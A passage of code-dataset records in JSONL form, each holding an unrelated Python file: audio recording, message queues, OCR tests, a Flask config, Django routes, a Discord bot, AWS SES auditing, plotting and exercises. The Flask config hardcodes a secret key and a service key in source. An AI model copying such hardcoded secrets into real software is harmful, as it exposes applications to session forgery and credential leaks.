self.paramters['-logDir']\n self.report_url = self.paramters['-reportURL']\n\n def get_raw_parameters(self):\n return self.paramters\n\n\nclass ParseCCExtractorParameters():\n def __init__(self, params):\n params = json.loads(params)\n self.params_list = []\n\n for key, value in params.items():\n self.params_list.append(key)\n if value:\n self.params_list.append(value)\n","sub_path":"daemon/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"176881455","text":"#!/usr/bin/python\n\nimport sys\nimport os\nimport array\nimport struct\nimport pyaudio\nimport wave\n\nTHRESHOLD = 1000\nRATE = 44100\nCHUNK_TIME = 100\nCHUNK_SIZE = int(RATE/(1000./CHUNK_TIME))\nSILENT_TIME, MINIMUM_TIME, MAXIMUM_TIME, ENDS_TIME = 2000, 1000, 55000, 200\nFORMAT = pyaudio.paInt16\nOUTPUT_FOLDER, FILENAME, EXTENSION = '.', 'demo', '.wav'\n\n\ndef is_silent(snd_data):\n \"Returns 'True' if below the 'silent' threshold\"\n #return max(snd_data) < THRESHOLD\n return sum([abs(x) for x in snd_data])/len(snd_data) < THRESHOLD\n\ndef normalize(snd_data):\n \"Average the volume out\"\n MAXIMUM = 16384\n times = float(MAXIMUM)/max(abs(i) for i in snd_data)\n r = array.array('h')\n for i in snd_data:\n r.append(int(i*times))\n return r\n\ndef trim(snd_data):\n \"Trim the blank spots at the start and end\"\n def _trim(snd_data):\n snd_started = False\n r = array.array('h')\n for i in snd_data:\n if not snd_started and abs(i)>THRESHOLD:\n snd_started = True\n r.append(i)\n\n elif snd_started:\n r.append(i)\n return r\n # Trim to the left\n snd_data = _trim(snd_data)\n # Trim to the right\n snd_data.reverse()\n snd_data = _trim(snd_data)\n snd_data.reverse()\n return snd_data\n\ndef add_silence(snd_data, seconds):\n \"Add silence to the start and end of 'snd_data' of length 'seconds' (float)\"\n r = array.array('h', [0 for i in range(int(seconds*RATE))])\n r.extend(snd_data)\n r.extend([0 for i in range(int(seconds*RATE))])\n return r\n\ndef record():\n \"\"\"\n Record a word or words from the microphone and\n return the data as an array of signed shorts.\n Normalizes the audio, trims silence from the\n start and end, and pads with 0.5 seconds of\n blank sound to make sure VLC et al can play\n it without getting chopped off.\n \"\"\"\n p = pyaudio.PyAudio()\n stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=True, frames_per_buffer=CHUNK_SIZE)\n num_silent, num_audio = 0, 0\n to_exit, snd_started = False, False\n r = array.array('h')\n while 1:\n # little endian, signed short\n snd_data = array.array('h', stream.read(CHUNK_SIZE))\n if sys.byteorder == 'big':\n snd_data.byteswap()\n silent = is_silent(snd_data)\n #print(max(snd_data),int(sum([abs(x) for x in snd_data])/len(snd_data)))\n if not snd_started:\n if silent:\n num_silent += 1\n else:\n print('\\tStarted.')\n snd_started = True\n num_silent = 0\n num_audio = 1\n r.extend(snd_data)\n else:\n num_audio += 1\n r.extend(snd_data)\n if silent:\n num_silent += 1\n if num_silent*CHUNK_TIME>=SILENT_TIME:\n to_exit = True\n else:\n if num_audio*CHUNK_TIME>=MAXIMUM_TIME:\n to_exit = True\n if num_audio*CHUNK_TIME>=MINIMUM_TIME and to_exit:\n print('\\tStoped.')\n break\n sample_width = p.get_sample_size(FORMAT)\n stream.stop_stream()\n stream.close()\n p.terminate()\n #r = normalize(r)\n #r = trim(r)\n #r = add_silence(r, 0.5)\n return sample_width, r\n\ndef record_to_file(path):\n \"Records from the microphone and outputs the resulting data to 'path'\"\n sample_width, data = record()\n t = float(len(data))/RATE\n data = struct.pack('<' + ('h'*len(data)), *data)\n wf = wave.open(path, 'wb')\n wf.setnchannels(1)\n wf.setsampwidth(sample_width)\n wf.setframerate(RATE)\n wf.writeframes(data)\n wf.close()\n return t\n\ndef main():\n if __name__ == '__main__':\n if len(sys.argv)>2:\n OUTPUT_FOLDER = sys.argv[1]\n FILENAME = sys.argv[2]\n filepath=None\n if EXTENSION in FILENAME:\n filepath=OUTPUT_FOLDER+'/'+FILENAME\n else:\n filepath=OUTPUT_FOLDER+'/'+FILENAME+EXTENSION\n t=record_to_file(filepath)\n print('\\tDone - '+filepath+'({:.2f}s).'.format(t))\n\n\ndef demo():\n if __name__ == '__main__':\n try:\n print('Start recording.')\n files = os.listdir(OUTPUT_FOLDER)\n for file in files:\n if file.endswith(EXTENSION):\n os.remove(file)\n file_idx=0\n while True:\n file_idx += 1\n t=record_to_file(OUTPUT_FOLDER+'/'+FILENAME+str(file_idx)+EXTENSION)\n print('\\tDone - '+OUTPUT_FOLDER+'/'+FILENAME+str(file_idx)+EXTENSION+'({:.2f}s).'.format(t))\n except KeyboardInterrupt:\n print('Stop recording.')\n try:\n sys.exit(0)\n except SystemExit:\n os._exit(0)\n\n\nmain()\n","sub_path":"detect_voice.py","file_name":"detect_voice.py","file_ext":"py","file_size_in_byte":4831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"262384586","text":"# See discussion and more examples at http://packages.python.org/pymqi/examples.html\n# or in doc/sphinx/examples.rst in the source distribution.\n\nimport pymqi\nimport CMQXC\n\nqueue_manager = \"QM01\"\nchannel = \"SVRCONN.1\"\nhost = \"192.168.1.135\"\nport = \"1434\"\nqueue_name = \"TEST.1\"\nmessage = \"Hello from Python!\" * 10000\nconn_info = \"%s(%s)\" % (host, port)\n\ncd = pymqi.CD()\ncd.MsgCompList[1] = CMQXC.MQCOMPRESS_ZLIBHIGH\n\nqmgr = pymqi.connect(queue_manager, channel, conn_info)\n\nqueue = pymqi.Queue(qmgr, queue_name)\nqueue.put(message)\nqueue.close()\n\nqmgr.disconnect()\n","sub_path":"code/examples/channel_compression.py","file_name":"channel_compression.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330613060","text":"#\n# Copyright (c) 2017-2019 TBD. All rights reserved.\n# This file is part of TBD (see TBD).\n# See the LICENSE file for licensing terms (TBD).\n#\n\nimport torch\nfrom ocropus import ocrorec\nfrom ocropus import slog\nfrom ocropus import models\n\ndef test_linetrainer():\n with open(\"models/linelstm.py\") as stream:\n text = stream.read()\n mmod = slog.load_module(\"mmod\", text)\n model = mmod.make_model(96)\n trainer = ocrorec.TextTrainer(model)\n trainer.set_lr(1e-3)\n xs = torch.zeros((1, 1, 48, 277))\n ys = [torch.tensor([0, 1, 0])]\n trainer.train_batch(xs, ys)\n\n\ndef test_linetrainer():\n model = models.text_model_210910()\n trainer = ocrorec.TextTrainer(model)\n trainer.set_lr(1e-3)\n xs = torch.zeros((1, 1, 48, 277))\n ys = [torch.tensor([0, 1, 0])]\n trainer.train_batch(xs, ys)","sub_path":"ocropus/tests/test_ocrorec.py","file_name":"test_ocrorec.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"331648389","text":"import os\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nSQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'app.db')\nCSRF_ENABLED = True\nSECRET_KEY = b'}?\\x06$\\xa5\\xcf]\\xd8\\xe1\\x8e[\\xcdX\\x0c\\x85m\\xee\\xd1\\xf2\\x8b\\xa2\\x1c+\\xd4'\nDEBUG = False\nDEBUG_TB_INTERCEPT_REDIRECTS = False\n\n\n'''\nВ будущем можно будет добавить генерацию с помощью сервисов\n{\n \"name\": \"app_name\",\n \"title\": \"app_title\",\n \"service\": {\n \"name\": \"service_name\",\n # обычный GET-запрос к сервису (http://ip:port/my/path)\n \"use_get\": True # или \"method\": \"service_method\"\n },\n \"routes\": {\n \"some/path1\": \"apps/app_name/file1.html\n ...\n }\n}\n'''\n\n\nAPPS = [\n {\n \"category\": \"dev\",\n \"name\": \"onlide\",\n \"title\": \"Онлайн среда разработки Onlide\",\n \"index_file_path\": \"index.html\",\n \"need_auth\": True\n },\n\n {\n \"category\": \"dev\",\n \"name\": \"empty\",\n \"title\": \"Пустое приложение\",\n \"index_file_path\": \"index.html\",\n \"need_auth\": True\n },\n\n {\n \"category\": \"dev\",\n \"name\": \"empty\",\n \"title\": \"Пустое приложение\",\n \"index_file_path\": \"index.html\",\n \"need_auth\": True\n },\n\n {\n \"category\": \"dev\",\n \"name\": \"empty\",\n \"title\": \"Пустое приложение\",\n \"index_file_path\": \"index.html\",\n \"need_auth\": True\n },\n\n {\n \"category\": \"dev\",\n \"name\": \"empty\",\n \"title\": \"Пустое приложение\",\n \"index_file_path\": \"index.html\",\n \"need_auth\": True\n }\n]\n\nSERVICES = {\n \"storage\": {\n \"url\": \"http://127.0.0.1:9494\",\n \"type\": \"jsonrpc2\",\n \"add_login\": True,\n \"on_add_user\": \"on_add_user\",\n \"on_delete_user\": \"on_delete_user\",\n \"on_update_user\": \"on_update_user\"\n },\n\n \"rcr\": {\n \"url\": \"http://127.0.0.1:9090\",\n \"type\": \"jsonrpc2\",\n \"add_login\": True,\n \"key\": \"lw-r2=2+=qKp[w[/',views.PostDetailView.as_view(template_name='post_detail.html'),name='post_detail'),\n path('post/new/',views.CreatePostView.as_view(),name='post_new'),\n path('post//edit/',views.PostUpdateView.as_view(template_name='post_form.html'),name='post_edit'),\n path('post//remove/',views.PostDeleteView.as_view(template_name='post_confirm_delete.html'),name='post_remove'),\n path('drafts/',views.DraftListView.as_view(),name='post_draft_list'),\n path('post//comment/',views.add_comment_to_post, name='add_comment_to_post'),\n path('comment//approve/',views.comment_approve, name='comment_approve'),\n path('comment//remove/',views.comment_remove, name='comment_remove'),\n path('comment//publish/',views.post_publish, name='post_publish'),\n]","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"285476384","text":"import os\nimport discord\nfrom discord.ext import commands\nimport json\nimport random\nfrom discord.ext.commands import Bot\n\nwith open('C:\\\\Discord Bot\\\\Project_1\\\\a1itt1eB0t\\\\setting.json','r',encoding='utf8') as jfile:\n jdata = json.load(jfile)\n\nintents = discord.Intents.all()\n\nbot = commands.Bot(command_prefix='?',intents=intents)\n\n@bot.event\nasync def on_ready():\n print(\"on_ready\")\n channel = bot.get_channel(int(jdata['A1itt1eB0t']))\n await channel.send(\"a1itt1eB0t just wake up!!!\")\n\nfor filename in os.listdir('C:\\\\Discord Bot\\\\Project_1\\\\a1itt1eB0t\\\\cmds'):\n if filename.endswith('.py'):\n bot.load_extension(f'cmds.{filename[:-3]}')\n\nfor filename in os.listdir('C:\\\\Discord Bot\\\\Project_1\\\\a1itt1eB0t\\\\onmsg'):\n if filename.endswith('.py'):\n bot.load_extension(f'onmsg.{filename[:-3]}')\n\nif __name__ == \"__main__\":\n bot.run(jdata['TOKEN'])","sub_path":"a1itt1eb0t.py","file_name":"a1itt1eb0t.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"436049144","text":"\ndef load_weather(data, client, database, collection):\n ''' Load data to specified database collection. This determines the\n appropriate way to process the load depending on the collection to which it\n should be loaded. Data is expected to be a weather-type dictionary. When\n the collection is \"instants\" the data is appended the specified object's\n forecasts array in the instants collection; when the collection is either\n \"forecasted\" or \"observed\" the object is insterted uniquely to the\n specified collection. Also checks for a preexisting document with the same\n instant and zipcode, then updates it in the case that there was already\n one there.\n\n :param data: the dictionary created from the api calls\n :type data: dict\n :param client: a MongoClient instance\n :type client: pymongo.MongoClient\n :param database: the database to be used\n :type database: str\n :param collection: the database collection to be used\n :type collection: str\n ''' \n col = db_ops.dbncol(client, collection, database=database)\n # decide how to handle the loading process depending on where the document\n # will be loaded.\n if collection == 'instant' or collection == 'test_instants' or collection == 'instant_temp':\n \n # set the appropriate database collections, filters and update types\n if \"Weather\" in data:\n filters = {'zipcode':data['Weather'].pop('zipcode'),\n 'instant':data['Weather'].pop('instant')}\n updates = {'$set': {'weather': data['Weather']}}\n else:\n filters = {'zipcode':data.pop('zipcode'),\n 'instant':data.pop('instant')}\n updates = {'$push': {'forecasts': data}} # append to forecasts list\n \n # Now attempt to load the data using the filters and updates.\n try:\n col.find_one_and_update(filters, updates, upsert=True)\n except DuplicateKeyError:\n return(f'DuplicateKeyError, could not insert data to {collection}')\n \n elif collection == 'observed'\\\n or collection == 'forecasted'\\\n or collection == 'obs_temp'\\\n or collection == 'cast_temp':\n try:\n col.insert_one(data)\n except DuplicateKeyError:\n return(f'DuplicateKeyError, could not insert data to {collection}')\n","sub_path":"cron/request_and_load.py","file_name":"request_and_load.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"524758542","text":"import os\nimport random\nimport logging\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nimport ipyvolume as ipv\nimport ipywidgets as widgets\n\nfrom config import config\n# from preprocess import match_hits_and_particles\ndef match_hits_and_particles(hits, particles, truth):\n particles = particles[particles.particle_id != 0]\n\n particle_ids = particles.particle_id.tolist()\n\n truth_of_particles = truth[truth.particle_id.isin(particle_ids)]\n\n hits_and_particles = pd.merge(truth_of_particles, hits, on='hit_id', how='inner')\n\n return hits_and_particles\n\ndisplay = \"DISPLAY\" in os.environ\nif not display:\n print('No display server, will save files')\n matplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\ndef display_img(name):\n plt.title(name)\n if display:\n plt.show()\n else:\n plt.savefig(os.path.join('./img', name))\n\n plt.close()\n\ndef ground_truth_tracks(df):\n logging.info('Plotting ground truth tracks') \n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n ax.set_xlim3d(-1000, 1000)\n ax.set_ylim3d(-1000, 1000)\n ax.set_zlim3d(0, 6000)\n\n for particle in df['particle_id'].unique():\n hit = df[df['particle_id'] == particle]\n \n ax.scatter(hit.x, hit.y, hit.z, marker='o')\n ax.plot(hit.x, hit.y, hit.z)\n\n ax.set_xlabel('X Label')\n ax.set_ylabel('Y Label')\n ax.set_zlabel('Z Label')\n display_img('ground-truth-tracks')\n\ndef predicted_tracks(df, preds):\n logging.info('Plotting predicted tracks') \n\n df['track_id'] = preds\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n ax.set_xlim3d(-1000, 1000)\n ax.set_ylim3d(-1000, 1000)\n ax.set_zlim3d(0, 6000)\n\n for i, track in enumerate(df['track_id'].unique()):\n hit = df[df['track_id'] == track]\n \n if len(hit) > 1:\n ax.scatter(hit.x, hit.y, hit.z, marker='o')\n ax.plot(hit.x, hit.y, hit.z)\n\n ax.set_xlabel('X Label')\n ax.set_ylabel('Y Label')\n ax.set_zlabel('Z Label')\n display_img('predicted-tracks')\n\ndef cylindrical_ground_truth_tracks(df):\n logging.info('Plotting tracks in cylindrical coordinates') \n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n for particle in df['particle_id'].unique():\n hit = df[df['particle_id'] == particle]\n\n ax.scatter(hit.rho, hit.s, hit.c, marker='o')\n ax.plot(hit.rho, hit.s, hit.c)\n\n ax.set_xlabel('Rho')\n ax.set_ylabel('S')\n ax.set_zlabel('C ')\n\n display_img('cylindrical-ground-truth-tracks')\n\ndef cylindrical_flattened_ground_truth_tracks(df):\n logging.info('Plotting flattened tracks in cylindrical coordinates') \n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n for particle in df['particle_id'].unique():\n hit = df[df['particle_id'] == particle]\n\n ax.scatter(hit.rho, hit.phi, marker='o')\n ax.plot(hit.rho, hit.phi)\n\n ax.set_xlabel('Rho')\n ax.set_ylabel('Phi')\n\n display_img('cylindrical-flattened-ground-truth-tracks')\n\ndef triples(data, mode):\n logging.info('Plotting ' + mode + ' from triples')\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n if mode == 'true_tracks':\n data = data[data['true_track'] == 1]\n elif mode == 'false_tracks':\n data = data[data['true_track'] == 0]\n else:\n logging.info('You must choose a mode')\n\n for i in range(len(data)):\n track = data.iloc[i]\n\n ax.scatter(track['rho-1'], track['phi-1'], marker='o')\n ax.scatter(track['rho-2'], track['phi-2'], marker='o')\n ax.scatter(track['rho-3'], track['phi-3'], marker='o')\n ax.plot([track['rho-1'], track['rho-2'], track['rho-3']], [track['phi-1'], track['phi-2'], track['phi-3']])\n\n ax.set_xlabel('Rho')\n ax.set_ylabel('Phi')\n\n display_img('training-data-' + mode) \n\ndef visualize(hits, particles, truth, data, preds=np.array([])):\n hits_and_particles = match_hits_and_particles(hits, particles, truth)\n\n logging.info('-' * 50)\n logging.info('Visualizing')\n\n ground_truth_tracks(hits_and_particles)\n cylindrical_ground_truth_tracks(hits_and_particles)\n cylindrical_flattened_ground_truth_tracks(hits_and_particles)\n triples(data, 'true_tracks')\n triples(data, 'false_tracks')\n \n if preds.size != 0:\n predicted_tracks(hits, preds)","sub_path":"old/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"479346138","text":"import os\nimport pickle\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport uabRepoPaths\nimport sis_utils\n\nrun_ids = [0, 1, 2, 3, 4]\nbatch_sizes = [10, 9, 8, 7, 6, 5, 4, 3, 2, 1]\npatch_sizes = [232, 248, 264, 276, 300, 321, 368, 424, 520, 736]\nresult_all = np.zeros((len(batch_sizes), len(run_ids)))\ncity_res = np.zeros((len(batch_sizes), 5, len(run_ids)))\ncity_dict = {'austin':0, 'chicago':1, 'kitsap':2, 'tyrol-w':3, 'vienna':4}\n\n\ndef get_results(file_str):\n for cnt_1, run_id in enumerate(run_ids):\n for cnt_2, (batch_size, patch_size) in enumerate(zip(batch_sizes, patch_sizes)):\n model_name = \\\n 'DeeplabV3_res101_inria_aug_psbs_{}_PS({}, {})_BS{}_EP100_LR1e-05_DS40_DR0.1_SFN32'.\\\n format(run_id, patch_size, patch_size, batch_size)\n res_path = os.path.join(uabRepoPaths.evalPath, file_str, model_name, 'inria', 'result.txt')\n with open(res_path, 'r') as f:\n results = f.readlines()\n\n mean_iou = 0\n for item in results:\n city_name = item.split(' ')[0]\n if len(item.split(' ')) == 1:\n mean_iou = float(item) * 100\n continue\n A, B = item.split('(')[1].strip().strip(')').split(',')\n iou = float(A)/float(B) * 100\n city_res[cnt_2, city_dict[city_name[:-1]], cnt_1] = iou\n result_all[cnt_2, cnt_1] = mean_iou\n result_mean = np.mean(result_all, axis=1)\n result_var = np.var(result_all, axis=1)\n result_up = np.max(result_all, axis=1)\n result_down = np.min(result_all, axis=1)\n return result_mean, result_var, result_up, result_down\n\n\nmatplotlib.rcParams.update({'font.size': 18})\nfig = plt.figure(figsize=(12, 5))\nind = np.arange(len(batch_sizes))\n\nax1 = plt.subplot()\n#result_mean, result_var, result_up, result_down = get_results('fix_pixel_fix_test')\n#ax1.errorbar(patch_sizes, result_mean[::-1], yerr=result_var, uplims=result_up, lolims=result_down, label='test size=496')\nresult_mean, result_var, result_up, result_down = get_results('fix_pixel')\nax1.errorbar(patch_sizes, result_mean[::-1], yerr=result_var, uplims=result_up, lolims=result_down, label='test size=496')\n\nax2 = ax1.twinx()\nax2.plot(patch_sizes, np.array(batch_sizes)*(np.array(patch_sizes)/4)**2, 'g.--')\nax2.set_ylim(31000, 36000)\nax2.tick_params('y', colors='g')\nax2.set_ylabel('#pixels', color='g')\n\nplt.grid('on')\nplt.xticks(patch_sizes, patch_sizes)\nax1.tick_params(axis='x', labelsize=14)\nfig.autofmt_xdate(rotation=40)\nax1.set_xlabel('Patch Size')\nax1.set_ylabel('Mean IoU')\nplt.title('DeepLab on Inria')\nax1.legend()\nplt.tight_layout()\n\nimg_dir, task_dir = sis_utils.get_task_img_folder()\nwith open(os.path.join(task_dir, 'deeplab_inria_fixpixel.npy'), 'wb') as pk:\n pickle.dump([result_mean[::-1], result_var, result_up, result_down, batch_sizes, patch_sizes], pk)\nplt.savefig(os.path.join(img_dir, 'deeplab_inria_fixpixel.png'))\n\nplt.show()\n","sub_path":"]tasks/2018.01.23.score_results/plot_inria_deeplab_fix_pixel.py","file_name":"plot_inria_deeplab_fix_pixel.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"474912502","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/ScoutSuite/providers/aws/facade/ses.py\n# Compiled at: 2020-04-02 05:37:10\n# Size of source mod 2**32: 2173 bytes\nfrom ScoutSuite.core.console import print_exception\nfrom ScoutSuite.providers.aws.facade.basefacade import AWSBaseFacade\nfrom ScoutSuite.providers.aws.facade.utils import AWSFacadeUtils\nfrom ScoutSuite.providers.utils import map_concurrently\nfrom ScoutSuite.providers.utils import run_concurrently\n\nclass SESFacade(AWSBaseFacade):\n\n async def get_identities(self, region: str):\n try:\n identity_names = await AWSFacadeUtils.get_all_pages('ses', region, self.session, 'list_identities', 'Identities')\n return await map_concurrently((self._get_identity_dkim_attributes), identity_names, region=region)\n except Exception as e:\n try:\n print_exception('Failed to get SES identities: {}'.format(e))\n return []\n finally:\n e = None\n del e\n\n async def _get_identity_dkim_attributes(self, identity_name: str, region: str):\n ses_client = AWSFacadeUtils.get_client('ses', self.session, region)\n try:\n dkim_attributes = await run_concurrently(lambda : ses_client.get_identity_dkim_attributes(Identities=[identity_name])['DkimAttributes'][identity_name])\n except Exception as e:\n try:\n print_exception('Failed to get SES DKIM attributes: {}'.format(e))\n raise\n finally:\n e = None\n del e\n\n return (\n identity_name, dkim_attributes)\n\n async def get_identity_policies(self, region: str, identity_name: str):\n ses_client = AWSFacadeUtils.get_client('ses', self.session, region)\n try:\n policy_names = await run_concurrently(lambda : ses_client.list_identity_policies(Identity=identity_name)['PolicyNames'])\n except Exception as e:\n try:\n print_exception('Failed to list SES policies: {}'.format(e))\n policy_names = []\n finally:\n e = None\n del e\n\n if len(policy_names) == 0:\n return {}\n try:\n return await run_concurrently(lambda : ses_client.get_identity_policies(Identity=identity_name, PolicyNames=policy_names)['Policies'])\n except Exception as e:\n try:\n print_exception('Failed to get SES policies: {}'.format(e))\n return\n finally:\n e = None\n del e","sub_path":"pycfiles/ScoutSuite-5.8.1-py3.7/ses.cpython-37.py","file_name":"ses.cpython-37.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"153388005","text":"import sys\n\nsys.stdin = open(\"input.txt\", \"r\")\n\n# 0: 위 1: 아래 2: 좌 3: 우\ndx = [-1, 1, 0, 0]\ndy = [0, 0, -1, 1]\n\ndirection = [\n [0, 0, 0, 0],\n [1, 3, 0, 2],\n [3, 0, 1, 2],\n [2, 0, 3, 1],\n [1, 2, 3, 0],\n [1, 0, 3, 2]\n]\n\n\ndef dfs(x, y, d):\n start, end = x, y\n nx, ny = x, y\n cnt = 0\n while True:\n nx, ny = nx + dx[d], ny + dy[d]\n if (nx == start and ny == end) or ball_map[nx][ny] == -1: return cnt\n if ball_map[nx][ny] == 0: continue\n if 1 <= ball_map[nx][ny] <= 5:\n d = direction[ball_map[nx][ny]][d]\n cnt += 1\n elif ball_map[nx][ny] >= 6:\n h_idx = ball_map[nx][ny] - 6\n if hall[h_idx][0][0] == nx and hall[h_idx][0][1] == ny:\n nx, ny = hall[h_idx][1]\n else:\n nx, ny = hall[h_idx][0]\n\n\nfor tc in range(1, int(input()) + 1):\n N = int(input())\n ball_map = [[5] * (N + 2) for _ in range(N + 2)]\n hall = [[] * 2 for _ in range(5)]\n for i in range(1, N + 1):\n temp = list(map(int, input().rstrip().split()))\n for j in range(N):\n ball_map[i][j + 1] = temp[j]\n if temp[j] >= 6:\n hall[temp[j] - 6].append([i, j + 1])\n ans = 0\n\n for i in range(1, N+1):\n for j in range(1, N+1):\n if ball_map[i][j] == 0:\n for d in range(4):\n ans = max(ans, dfs(i, j, d))\n\n print(f'#{tc} {ans}')\n","sub_path":"study_0529/5650_pinball.py","file_name":"5650_pinball.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297019084","text":"import matplotlib.pylab as plt\nimport numpy as np\nimport music21 as M2\n# cond_file = r\"E:\\Datasets\\classical-music-midi\\mozart\\mz_332_2.mid\"\n# mid = pretty_midi.PrettyMIDI(midi_file=cond_file)\n# ps_roll = mid.get_piano_roll()\nfs = 1 / 100.0\ndef plot_piano_roll(ps_roll, fs = 1/100.0):\n ps_uniq = ps_roll.nonzero()[0]\n minps = ps_uniq.min()\n maxps = ps_uniq.max()\n minps = np.int(np.floor(minps / 12)) * 12\n maxps = np.int(np.ceil(maxps / 12)) * 12\n maxT = ps_roll.shape[1] * fs\n # octv_ticks = list(range(int(minps), int(maxps), 12))\n octv_ticks = list(range(int(0), int(120), 12))\n T_ticks = list(range(0, int(maxT), 10))\n figh = plt.figure(figsize=[0.15*maxT, 7 / 128 * (maxps - minps)])\n plt.imshow(ps_roll[:, :], cmap='gray', aspect='auto')\n plt.hlines(octv_ticks, plt.xlim()[0], plt.xlim()[1], alpha=0.30, colors='white')\n plt.gca().invert_yaxis()\n plt.yticks(octv_ticks, [M2.pitch.Pitch(p).nameWithOctave for p in octv_ticks])\n plt.xticks([t / fs for t in T_ticks], T_ticks)\n figh.gca().set_ylim(minps, maxps)\n #figh.show()\n return figh","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590314163","text":"#script arguments, path\nimport sys\nimport os\n\n#import data\nimport pandas as pd\n\n#numpy for array, matrix, ...\nimport numpy as np\n\n#For plotting results\nimport matplotlib.pyplot as plt \nimport matplotlib as mpl\nfrom matplotlib.ticker import FormatStrFormatter\nmpl.rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})\nmpl.rc('text', usetex=True)\n\n#local lib\nimport mplio\n\n'''\n\n'''\nclass Dat(object):\n filename=\"\"\n df=[]\n dat={}\n configName=''\n\n def __init__(self, filename):\n self.filename=filename\n self.name=os.path.splitext(os.path.basename(filename))[0]\n self.df=pd.read_csv(self.filename, sep=',',header=None)\n\n#open dataset\ndatas=[]\ndepths=np.array(0,float)\nfor el in sys.argv[1::]:\n datas.append(Dat(el))\n\n#Print simple histogram for datas[0]\ndat=datas[0].df.values[1:,1].astype(np.int)\nnbins=dat.ptp()\n#np.unique(x).size\nfig, ax = plt.subplots()\ncounts, bins, patches = plt.hist(dat, nbins, normed=1, facecolor='g', alpha=0.75)\n\nplt.xlabel('Number of links in path')\nplt.ylabel('Relative amount')\nplt.title('Histogram of SSSP path size')\nplt.grid(True)\n\n# Set the ticks to be at the edges of the bins.\nax.set_xticks(bins)\nax.xaxis.set_ticks(np.arange(bins.min(),bins.max(),50))#bins.ptp()/25))\nax.yaxis.set_ticks(np.arange(0, 1, 0.05))\n# Set the xaxis's tick labels to be formatted with 1 decimal place...\nax.xaxis.set_major_formatter(FormatStrFormatter('%0.1f'))\n\n# Label the raw counts and the percentages below the x-axis...\n#bin_centers = 0.5 * np.diff(bins) + bins[:-1]\nperc = (counts.astype(float) / counts.sum())\nperc = perc[::-1].cumsum()[::-1]\nax2 = ax.twiny()\nax2.set_xticklabels([])\nax2.plot(perc, 'C1', label=\"Cumulative sum\")\n#ax2.tick_params('Relative amount (cumulative)', colors='C1')\n#for count, x, percent in zip(counts, bin_centers, perc):\n # Label the raw counts\n #ax.annotate(str(count), xy=(x, 0), xycoords=('data', 'axes fraction'),\n # xytext=(0, -18), textcoords='offset points', va='top', ha='center')\n\n # Label the percentages\n# ax.annotate('{:.1f}\\%'.format(percent), xy=(x, 0), xycoords=('data', 'axes fraction'),\n# xytext=(0, -32), textcoords='offset points', va='top', ha='center')\n\n\n# Give ourselves some more room at the bottom of the plot\n#plt.subplots_adjust(bottom=0.15)\nplt.legend()\nplt.show()\n","sub_path":"scripts/plotPathHistogram.py","file_name":"plotPathHistogram.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"22587926","text":"# num-of-ch.py\n\n'''\n두 개의 문자열 str1과 str2가 주어진다. 문자열 str1에 포함된 글자들이 str2에 몇 개씩 들어있는지 찾고, \n그중 가장 많은 글자의 개수를 출력하는 프로그램을 만드시오.\n예를 들어 str1 = “ABCA”, str2 = “ABABCA”인 경우, str1의 A가 str2에 3개 있으므로 \n가장 많은 글자가 되고 3을 출력한다.\n파이썬의 경우 딕셔너리를 이용할 수 있다.\n\n[입력]\n\n첫 줄에 테스트 케이스 개수 T가 주어진다. 1≤T≤50\n다음 줄부터 테스트 케이스 별로 길이가 N인 문자열 str1과 길이가 M인 str2가 각각 다른 줄에 주어진다. 5≤N≤100, 10≤M≤1000, N≤M\n\n[출력]\n\n각 줄마다 \"#T\" (T는 테스트 케이스 번호)를 출력한 뒤, 답을 출력한다.\n'''\n\nimport sys\nsys.stdin = open('sample_input2.txt', 'r')\n\nT = int(input())\nfor testCase in range(1, T+1) :\n str1_set = set(input())\n str2_list = list(input())\n \n str_dict = {ch: str2_list.count(ch) for ch in str1_set}\n answer = max(str_dict.values())\n \n print('#{0} 